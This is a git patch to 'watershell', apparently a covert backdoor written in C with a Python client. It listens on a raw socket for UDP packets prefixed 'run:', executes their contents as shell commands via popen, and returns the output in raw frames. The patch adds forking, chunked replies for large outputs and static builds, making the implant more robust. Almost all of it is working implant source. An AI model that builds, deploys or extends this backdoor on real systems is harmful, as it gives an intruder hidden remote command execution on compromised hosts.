From e50cf1ead03c1e9f5900542e03d3d0a51d5f0a38 Mon Sep 17 00:00:00 2001 From: Jacob Hartman Date: Sat, 14 Mar 2026 21:37:13 -0400 Subject: [PATCH] Added forking support, support for larger command outputs, and other improvements --- Makefile | 10 +- watershell-cli.py | 11 +- watershell.c | 248 +++++++++++++++++++++++++++------------------- watershell.h | 7 +- 4 files changed, 170 insertions(+), 106 deletions(-) diff --git a/Makefile b/Makefile index 63538cc..221b038 100644 --- a/Makefile +++ b/Makefile @@ -1,8 +1,16 @@ # Small makefile to make compiling watershell easier to do # TODO implement C and Linker FLAGS if desired +COMPILER=gcc + +all: watershell + +debug: + $(COMPILER) watershell.c -DDEBUG=1 -static -o watershell + +.PHONY: watershell watershell: - gcc watershell.c -o $@ + $(COMPILER) watershell.c -o watershell -static clean: rm watershell *.o diff --git a/watershell-cli.py b/watershell-cli.py index 5d6e8e9..347657d 100755 --- a/watershell-cli.py +++ b/watershell-cli.py @@ -93,10 +93,13 @@ def execute_cmd_prompt(sock, target): cmd = input("//\\\\watershell//\\\\>> ") if cmd == 'exit': break - if len(cmd) > 1: - sock.sendto(("run:"+cmd).encode(), target) - resp = recv_timeout(sock, 4) - print(resp) + if len(cmd) > 1 : + if len(cmd) >= 1400: + print("Command is too big! (must be <=1400)") + else: + sock.sendto(("run:"+cmd).encode(), target) + resp = recv_timeout(sock, 4) + print(resp) def main(): """ diff --git a/watershell.c b/watershell.c index b333adc..6541a83 100755 --- a/watershell.c +++ b/watershell.c @@ -26,6 +26,7 @@ #ifndef DEBUG #define DEBUG false #endif + /* COMMAND LINE ARGS WILL OVERRIDE THESE */ #include @@ -39,7 +40,7 @@ #include #include #include -#include +#include #include #include #include @@ -59,7 +60,7 @@ int main(int argc, char *argv[]) { int i, n, hlen, arg; struct sock_fprog filter; - char buf[2048]; + char recv_buf[RECV_BUFFER_SIZE]; unsigned char *read; char *udpdata; struct iphdr *ip; @@ -148,52 +149,85 @@ int main(int argc, char *argv[]) &filter, sizeof(filter)) < 0) if (DEBUG) perror("setsockopt"); + + signal(SIGCHLD, SIG_IGN); + //sniff forever! for (;;){ - memset(buf, 0, 2048); + memset(recv_buf, 0, RECV_BUFFER_SIZE); + //get a packet, and tear it apart, look for keywords - n = recvfrom(sockfd, buf, 2048, 0, NULL, NULL); - ip = (struct iphdr *)(buf + sizeof(struct ethhdr)); - udp = (struct udphdr *)(buf + ip->ihl*4 + sizeof(struct ethhdr)); - udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr))); - + n = recvfrom(sockfd, recv_buf, RECV_BUFFER_SIZE, 0, NULL, NULL); + ip = (struct iphdr *)(recv_buf + sizeof(struct ethhdr)); + udp = (struct udphdr *)(recv_buf + ip->ihl*4 + sizeof(struct ethhdr)); + udpdata = (char *)((recv_buf + ip->ihl*4 + 8 + sizeof(struct ethhdr))); + printf("Got something\n"); //checkup on the service, make sure it is still there if(!strncmp(udpdata, "status:", 7)){ - send_status(buf, "up"); + printf("Doing the status\n"); + send_status(recv_buf, "up"); } //run a command if the data is prefixed with run: if (!strncmp(udpdata, "run:", 4)){ - printf("Doing the thing: %s\n", udpdata); - int out = open("/dev/null", O_WRONLY); - int err = open("/dev/null", O_WRONLY); - dup2(out, 0); - dup2(err, 2); + // Make a copy for the fork, child will free + char * recv_copy = malloc(RECV_BUFFER_SIZE); + memcpy(recv_copy, recv_buf, RECV_BUFFER_SIZE); - FILE *fd; - fd = popen(udpdata + 4, "r"); - if (!fd) return -1; + ip = (struct iphdr *)(recv_copy + sizeof(struct ethhdr)); + udp = (struct udphdr *)(recv_copy + ip->ihl*4 + sizeof(struct ethhdr)); + udpdata = (char *)((recv_copy + ip->ihl*4 + 8 + sizeof(struct ethhdr))); - char buffer[256]; - size_t chread; - /* String to store entire command contents in */ - size_t comalloc = 256; - size_t comlen = 0; - char *comout = malloc(comalloc); + pid_t fork_pid = fork(); - /* Use fread so binary data is dealt with correctly */ - while ((chread = fread(buffer, 1, sizeof(buffer), fd)) != 0) { - if (comlen + chread >= comalloc) { - comalloc *= 2; - comout = realloc(comout, comalloc); + if (fork_pid == 0) { + printf("Doing the thing: %s\n", udpdata); + int out = open("/dev/null", O_WRONLY); + int err = open("/dev/null", O_WRONLY); + dup2(out, 0); + dup2(err, 2); + + FILE *fd; + fd = popen(udpdata + 4, "r"); + if (!fd) { + return 1; } - memmove(comout + comlen, buffer, chread); - comlen += chread; - } - pclose(fd); - send_status(buf, comout); + char buffer[RECV_BUFFER_SIZE]; + size_t chread; + /* String to store entire command contents in */ + size_t comalloc = RECV_BUFFER_SIZE; + size_t comlen = 0; + char *comout = malloc(comalloc); + + /* Use fread so binary data is dealt with correctly */ + while ((chread = fread(buffer, 1, sizeof(buffer), fd)) != 0) { + printf("1\n"); + if (comlen + chread >= comalloc) { + comalloc *= 2; + comout = realloc(comout, comalloc); + } + memmove(comout + comlen, buffer, chread); + comlen += chread; + printf("2\n"); + } + if (DEBUG) { + printf("Sending %s", comout); + } + pclose(fd); + close(out); + close(err); + send_status(recv_copy, comout); + free(recv_copy); + free(comout); + return 0; + } else { + if (DEBUG) { + printf("Forked to %d\n", fork_pid); + } + + } } } @@ -202,51 +236,51 @@ int main(int argc, char *argv[]) // get interface name dynamically :D void get_interface_name(char iface[]){ - const char* google_dns_server = "8.8.8.8"; - int dns_port = 53; - int sock, err; + const char* google_dns_server = "8.8.8.8"; + int dns_port = 53; + int sock, err; - char buf[32]; - char buffer[100]; + char buf[32]; + char buffer[100]; - struct ifaddrs *addrs, *iap; - struct sockaddr_in *sa; - struct sockaddr_in serv; - struct sockaddr_in name; + struct ifaddrs *addrs, *iap; + struct sockaddr_in *sa; + struct sockaddr_in serv; + struct sockaddr_in name; - sock = socket(AF_INET, SOCK_DGRAM, 0); + sock = socket(AF_INET, SOCK_DGRAM, 0); - memset(&serv, 0, sizeof(serv)); - serv.sin_family = AF_INET; - serv.sin_addr.s_addr = inet_addr(google_dns_server); - serv.sin_port = htons(dns_port); + memset(&serv, 0, sizeof(serv)); + serv.sin_family = AF_INET; + serv.sin_addr.s_addr = inet_addr(google_dns_server); + serv.sin_port = htons(dns_port); - err = connect(sock ,(const struct sockaddr*) &serv ,sizeof(serv)); + err = connect(sock ,(const struct sockaddr*) &serv ,sizeof(serv)); - socklen_t namelen = sizeof(name); - err = getsockname(sock, (struct sockaddr*) &name, &namelen); + socklen_t namelen = sizeof(name); + err = getsockname(sock, (struct sockaddr*) &name, &namelen); - const char* p = inet_ntop(AF_INET, &name.sin_addr, buffer, 100); + const char* p = inet_ntop(AF_INET, &name.sin_addr, buffer, 100); - getifaddrs(&addrs); - for (iap = addrs; iap != NULL; iap = iap->ifa_next) { - if (iap->ifa_addr && (iap->ifa_flags & IFF_UP) && iap->ifa_addr->sa_family == AF_INET) { - sa = (struct sockaddr_in *)(iap->ifa_addr); - inet_ntop(iap->ifa_addr->sa_family, (void *)&(sa->sin_addr), buf, sizeof(buf)); - if (!strcmp(p, buf)) { - strncpy(iface, iap->ifa_name, strlen(iap->ifa_name)); - //interface_name = iap->ifa_name; - break; - } - } - } + getifaddrs(&addrs); + for (iap = addrs; iap != NULL; iap = iap->ifa_next) { + if (iap->ifa_addr && (iap->ifa_flags & IFF_UP) && iap->ifa_addr->sa_family == AF_INET) { + sa = (struct sockaddr_in *)(iap->ifa_addr); + inet_ntop(iap->ifa_addr->sa_family, (void *)&(sa->sin_addr), buf, sizeof(buf)); + if (!strcmp(p, buf)) { + strncpy(iface, iap->ifa_name, strlen(iap->ifa_name)); + //interface_name = iap->ifa_name; + break; + } + } + } - freeifaddrs(addrs); - close(sock); + freeifaddrs(addrs); + close(sock); } //cleanup on SIGINT @@ -264,7 +298,7 @@ void sigint(int signum){ //shut it down! free(sifreq); close(sockfd); - //exit(1); + exit(0); } //send a reply @@ -274,50 +308,64 @@ void send_status(unsigned char *buf, char *payload){ struct sockaddr_in sin; int len; - - //setup the data - memset(&frame, 0, sizeof(frame)); - strncpy(frame.data, payload, strlen(payload)); - //get the ifindex if (ioctl(sockfd, SIOCGIFINDEX, sifreq) == -1){ if (DEBUG) perror("ioctl SIOCGIFINDEX"); return; } - //layer 2 - saddrll.sll_family = PF_PACKET; - saddrll.sll_ifindex = sifreq->ifr_ifindex; - saddrll.sll_halen = ETH_ALEN; - memcpy((void*)saddrll.sll_addr, (void*)(((struct ethhdr*)buf)->h_source), ETH_ALEN); - memcpy((void*)frame.ehdr.h_source, (void*)(((struct ethhdr*)buf)->h_dest), ETH_ALEN); - memcpy((void*)frame.ehdr.h_dest, (void*)(((struct ethhdr*)buf)->h_source), ETH_ALEN); - frame.ehdr.h_proto = htons(ETH_P_IP); + uint32_t full_size = strlen(payload); - //layer 3 - frame.ip.version = 4; - frame.ip.ihl = sizeof(frame.ip)/4; - frame.ip.id = htons(69); - frame.ip.frag_off |= htons(IP_DF); - frame.ip.ttl = 64; - frame.ip.tos = 0; - frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.udp) + strlen(payload)); - frame.ip.saddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->daddr; - frame.ip.daddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->saddr; - frame.ip.protocol = IPPROTO_UDP; + div_t div_res = div(full_size, SEND_CHUNK_SIZE); + int chunk_count = div_res.quot+1; + + for (uint32_t i = 0; i < chunk_count; i++) { + + uint32_t send_size = SEND_CHUNK_SIZE; + if (i == chunk_count-1) { + send_size = strnlen(payload+(i*SEND_CHUNK_SIZE), SEND_CHUNK_SIZE); + } + //setup the data + memset(&frame, 0, sizeof(frame)); + uint64_t offset = i*SEND_CHUNK_SIZE; + memcpy(frame.data, payload+(offset), send_size); - //layer 4 - frame.udp.source = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->dest; - frame.udp.dest = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->source; - frame.udp.len = htons(strlen(payload) + sizeof(frame.udp)); + + //layer 2 + saddrll.sll_family = PF_PACKET; + saddrll.sll_ifindex = sifreq->ifr_ifindex; + saddrll.sll_halen = ETH_ALEN; + memcpy((void*)saddrll.sll_addr, (void*)(((struct ethhdr*)buf)->h_source), ETH_ALEN); + memcpy((void*)frame.ehdr.h_source, (void*)(((struct ethhdr*)buf)->h_dest), ETH_ALEN); + memcpy((void*)frame.ehdr.h_dest, (void*)(((struct ethhdr*)buf)->h_source), ETH_ALEN); + frame.ehdr.h_proto = htons(ETH_P_IP); - //checksums - //udp_checksum(&frame.ip, (unsigned short*)&frame.udp); - ip_checksum(&frame.ip); + //layer 3 + frame.ip.version = 4; + frame.ip.ihl = sizeof(frame.ip)/4; + frame.ip.id = htons(69); + frame.ip.frag_off |= htons(IP_DF); + frame.ip.ttl = 64; + frame.ip.tos = 0; + frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.udp) + send_size); + frame.ip.saddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->daddr; + frame.ip.daddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->saddr; + frame.ip.protocol = IPPROTO_UDP; + + //layer 4 + frame.udp.source = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->dest; + frame.udp.dest = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->source; + frame.udp.len = htons(send_size + sizeof(frame.udp)); + + //checksums + //udp_checksum(&frame.ip, (unsigned short*)&frame.udp); + ip_checksum(&frame.ip); + + //calculate total length and send + len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + send_size; + sendto(sockfd, (char*)&frame, len, 0, (struct sockaddr *)&saddrll, sizeof(saddrll)); + } - //calculate total length and send - len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + strlen(payload); - sendto(sockfd, (char*)&frame, len, 0, (struct sockaddr *)&saddrll, sizeof(saddrll)); } /* checksum functions from http://www.roman10.net/how-to-calculate-iptcpudp-checksumpart-2-implementation/ */ diff --git a/watershell.h b/watershell.h index e8e672a..b0f48b6 100644 --- a/watershell.h +++ b/watershell.h @@ -16,6 +16,11 @@ */ #ifndef WATERSHELL_H_ #define WATERSHELL_H_ + + +#define RECV_BUFFER_SIZE 4096 +#define SEND_CHUNK_SIZE (ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr)) + /* BPF code generated with tcpdump -dd udp and port 12345 * used to filter incoming packets at the socket level */ @@ -49,7 +54,7 @@ struct __attribute__((__packed__)) udpframe { struct ethhdr ehdr; struct iphdr ip; struct udphdr udp; - unsigned char data[ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr)]; + unsigned char data[SEND_CHUNK_SIZE]; }; void send_status(unsigned char *buf, char *payload);